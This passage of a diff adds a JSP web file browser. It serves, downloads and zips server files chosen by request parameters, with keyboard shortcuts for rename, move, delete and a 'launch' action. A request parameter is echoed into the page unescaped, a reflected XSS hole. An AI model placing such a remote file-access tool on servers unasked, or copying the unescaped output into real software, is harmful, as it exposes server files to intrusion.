+ //Tell the browser that it should cache the javascript
+ response.setHeader("Cache-Control", "public");
+ Date now = new Date();
+ SimpleDateFormat sdf = new SimpleDateFormat("EEE, d MMM yyyy HH:mm:ss z", Locale.US);
+ response.setHeader("Expires", sdf.format(new Date(now.getTime() + 1000 * 60 * 60 * 24*2)));
+ response.setHeader("Content-Type", "text/javascript");
+ %>
+ <%// This section contains the Javascript used for interface elements %>
+ var check = false;
+ <%// Disables the checkbox feature %>
+ function dis(){check = true;}
+
+ var DOM = 0, MS = 0, OP = 0, b = 0;
+ <%// Determine the browser type %>
+ function CheckBrowser(){
+ if (b == 0){
+ if (window.opera) OP = 1;
+ // Moz or Netscape
+ if(document.getElementById) DOM = 1;
+ // Micro$oft
+ if(document.all && !OP) MS = 1;
+ b = 1;
+ }
+ }
+ <%// Allows the whole row to be selected %>
+ function selrow (element, i){
+ var erst;
+ CheckBrowser();
+ if ((OP==1)||(MS==1)) erst = element.firstChild.firstChild;
+ else if (DOM==1) erst = element.firstChild.nextSibling.firstChild;
+ <%// MouseIn %>
+ if (i==0){
+ if (erst.checked == true) element.className='mousechecked';
+ else element.className='mousein';
+ }
+ <%// MouseOut %>
+ else if (i==1){
+ if (erst.checked == true) element.className='checked';
+ else element.className='mouseout';
+ }
+ <% // MouseClick %>
+ else if ((i==2)&&(!check)){
+ if (erst.checked==true) element.className='mousein';
+ else element.className='mousechecked';
+ erst.click();
+ }
+ else check=false;
+ }
+ <%// Filter files and dirs in FileList%>
+ function filter (begriff){
+ var suche = begriff.value.toLowerCase();
+ var table = document.getElementById("filetable");
+ var ele;
+ for (var r = 1; r < table.rows.length; r++){
+ ele = table.rows[r].cells[1].innerHTML.replace(/<[^>]+>/g,"");
+ if (ele.toLowerCase().indexOf(suche)>=0 )
+ table.rows[r].style.display = '';
+ else table.rows[r].style.display = 'none';
+ }
+ }
+ <%//(De)select all checkboxes%>
+ function AllFiles(){
+ for(var x=0;x < document.FileList.elements.length;x++){
+ var y = document.FileList.elements[x];
+ var ytr = y.parentNode.parentNode;
+ var check = document.FileList.selall.checked;
+ if(y.name == 'selfile' && ytr.style.display != 'none'){
+ if (y.disabled != true){
+ y.checked = check;
+ if (y.checked == true) ytr.className = 'checked';
+ else ytr.className = 'mouseout';
+ }
+ }
+ }
+ }
+
+ function shortKeyHandler(_event){
+ if (!_event) _event = window.event;
+ if (_event.which) {
+ keycode = _event.which;
+ } else if (_event.keyCode) {
+ keycode = _event.keyCode;
+ }
+ var t = document.getElementById("text_Dir");
+ //z
+ if (keycode == 122){
+ document.getElementById("but_Zip").click();
+ }
+ //r, F2
+ else if (keycode == 113 || keycode == 114){
+ var path = prompt("Please enter new filename", "");
+ if (path == null) return;
+ t.value = path;
+ document.getElementById("but_Ren").click();
+ }
+ //c
+ else if (keycode == 99){
+ var path = prompt("Please enter filename", "");
+ if (path == null) return;
+ t.value = path;
+ document.getElementById("but_NFi").click();
+ }
+ //d
+ else if (keycode == 100){
+ var path = prompt("Please enter directory name", "");
+ if (path == null) return;
+ t.value = path;
+ document.getElementById("but_NDi").click();
+ }
+ //m
+ else if (keycode == 109){
+ var path = prompt("Please enter move destination", "");
+ if (path == null) return;
+ t.value = path;
+ document.getElementById("but_Mov").click();
+ }
+ //y
+ else if (keycode == 121){
+ var path = prompt("Please enter copy destination", "");
+ if (path == null) return;
+ t.value = path;
+ document.getElementById("but_Cop").click();
+ }
+ //l
+ else if (keycode == 108){
+ document.getElementById("but_Lau").click();
+ }
+ //Del
+ else if (keycode == 46){
+ document.getElementById("but_Del").click();
+ }
+ }
+
+ function popUp(URL){
+ fname = document.getElementsByName("myFile")[0].value;
+ if (fname != "")
+ window.open(URL+"?first&uplMonitor="+encodeURIComponent(fname),"","width=400,height=150,resizable=yes,depend=yes")
+ }
+
+ document.onkeypress = shortKeyHandler;
+<% }
+ // View file
+ else if (request.getParameter("file") != null) {
+ File f = new File(request.getParameter("file"));
+ if (!isAllowed(f, false)) {
+ request.setAttribute("dir", f.getParent());
+ request.setAttribute("error", "You are not allowed to access "+f.getAbsolutePath());
+ }
+ else if (f.exists() && f.canRead()) {
+ if (isPacked(f.getName(), false)) {
+ //If zipFile, do nothing here
+ }
+ else{
+ String mimeType = getMimeType(f.getName());
+ response.setContentType(mimeType);
+ if (mimeType.equals("text/plain")) response.setHeader(
+ "Content-Disposition", "inline;filename=\"temp.txt\"");
+ else response.setHeader("Content-Disposition", "inline;filename=\""
+ + f.getName() + "\"");
+ BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
+ byte buffer[] = new byte[8 * 1024];
+ out.clearBuffer();
+ OutputStream out_s = new Writer2Stream(out);
+ copyStreamsWithoutClose(fileInput, out_s, buffer);
+ fileInput.close();
+ out_s.flush();
+ nohtml = true;
+ dir_view = false;
+ }
+ }
+ else {
+ request.setAttribute("dir", f.getParent());
+ request.setAttribute("error", "File " + f.getAbsolutePath()
+ + " does not exist or is not readable on the server");
+ }
+ }
+ // Download selected files as zip file
+ else if ((request.getParameter("Submit") != null)
+ && (request.getParameter("Submit").equals(SAVE_AS_ZIP))) {
+ Vector v = expandFileList(request.getParameterValues("selfile"), false);
+ //Check if all files in vector are allowed
+ String notAllowedFile = null;
+ for (int i = 0;i < v.size(); i++){
+ File f = (File) v.get(i);
+ if (!isAllowed(f, false)){
+ notAllowedFile = f.getAbsolutePath();
+ break;
+ }
+ }
+ if (notAllowedFile != null){
+ request.setAttribute("error", "You are not allowed to access " + notAllowedFile);
+ }
+ else if (v.size() == 0) {
+ request.setAttribute("error", "No files selected");
+ }
+ else {
+ File dir_file = new File("" + request.getAttribute("dir"));
+ int dir_l = dir_file.getAbsolutePath().length();
+ response.setContentType("application/zip");
+ response.setHeader("Content-Disposition", "attachment;filename=\"rename_me.zip\"");
+ out.clearBuffer();
+ ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));
+ zipout.setComment("Created by jsp File Browser v. " + VERSION_NR);
+ zipout.setLevel(COMPRESSION_LEVEL);
+ for (int i = 0; i < v.size(); i++) {
+ File f = (File) v.get(i);
+ if (f.canRead()) {
+ zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1)));
+ BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));
+ byte buffer[] = new byte[0xffff];
+ copyStreamsWithoutClose(fr, zipout, buffer);
+ /* int b;
+ while ((b=fr.read())!=-1) zipout.write(b);*/
+ fr.close();
+ zipout.closeEntry();
+ }
+ }
+ zipout.finish();
+ out.flush();
+ nohtml = true;
+ dir_view = false;
+ }
+ }
+ // Download file
+ else if (request.getParameter("downfile") != null) {
+ String filePath = request.getParameter("downfile");
+ File f = new File(filePath);
+ if (!isAllowed(f, false)){
+ request.setAttribute("dir", f.getParent());
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsoluteFile());
+ }
+ else if (f.exists() && f.canRead()) {
+ response.setContentType("application/octet-stream");
+ response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName()
+ + "\"");
+ response.setContentLength((int) f.length());
+ BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));
+ byte buffer[] = new byte[8 * 1024];
+ out.clearBuffer();
+ OutputStream out_s = new Writer2Stream(out);
+ copyStreamsWithoutClose(fileInput, out_s, buffer);
+ fileInput.close();
+ out_s.flush();
+ nohtml = true;
+ dir_view = false;
+ }
+ else {
+ request.setAttribute("dir", f.getParent());
+ request.setAttribute("error", "File " + f.getAbsolutePath()
+ + " does not exist or is not readable on the server");
+ }
+ }
+ if (nohtml) return;
+ //else
+ // If no parameter is submitted, it will take the path from jsp file browser
+ if (request.getAttribute("dir") == null) {
+ String path = null;
+ if (application.getRealPath(request.getRequestURI()) != null) {
+ File f = new File(application.getRealPath(request.getRequestURI())).getParentFile();
+ //This is a hack needed for tomcat
+ while (f != null && !f.exists())
+ f = f.getParentFile();
+ if (f != null)
+ path = f.getAbsolutePath();
+ }
+ if (path == null) { // handle the case where we are not in a directory (ex: war file)
+ path = new File(".").getAbsolutePath();
+ }
+ //Check path
+ if (!isAllowed(new File(path), false)){
+ //TODO Blacklist
+ if (RESTRICT_PATH.indexOf(";")<0) path = RESTRICT_PATH;
+ else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(";"));
+ }
+ request.setAttribute("dir", path);
+ }%>
+
+
+
+
+
+
+
+<%
+ //If a cssfile exists, it will take it
+ String cssPath = null;
+ if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File(
+ application.getRealPath(request.getRequestURI())).getParent()
+ + File.separator + CSS_NAME;
+ if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString();
+ if (new File(cssPath).exists()) {
+%>
+
+ <%}
+ else if (request.getParameter("uplMonitor") == null) {%>
+
+ <%}
+
+ //Check path
+ if (!isAllowed(new File((String)request.getAttribute("dir")), false)){
+ request.setAttribute("error", "You are not allowed to access " + request.getAttribute("dir"));
+ }
+ //Upload monitor
+ else if (request.getParameter("uplMonitor") != null) {%>
+ <%
+ String fname = request.getParameter("uplMonitor");
+ //First opening
+ boolean first = false;
+ if (request.getParameter("first") != null) first = true;
+ UplInfo info = new UplInfo();
+ if (!first) {
+ info = UploadMonitor.getInfo(fname);
+ if (info == null) {
+ //Windows
+ int posi = fname.lastIndexOf("\\");
+ if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
+ }
+ if (info == null) {
+ //Unix
+ int posi = fname.lastIndexOf("/");
+ if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));
+ }
+ }
+ dir_view = false;
+ request.setAttribute("dir", null);
+ if (info.aborted) {
+ UploadMonitor.remove(fname);
+ %>
+
+
+Upload of <%=fname%>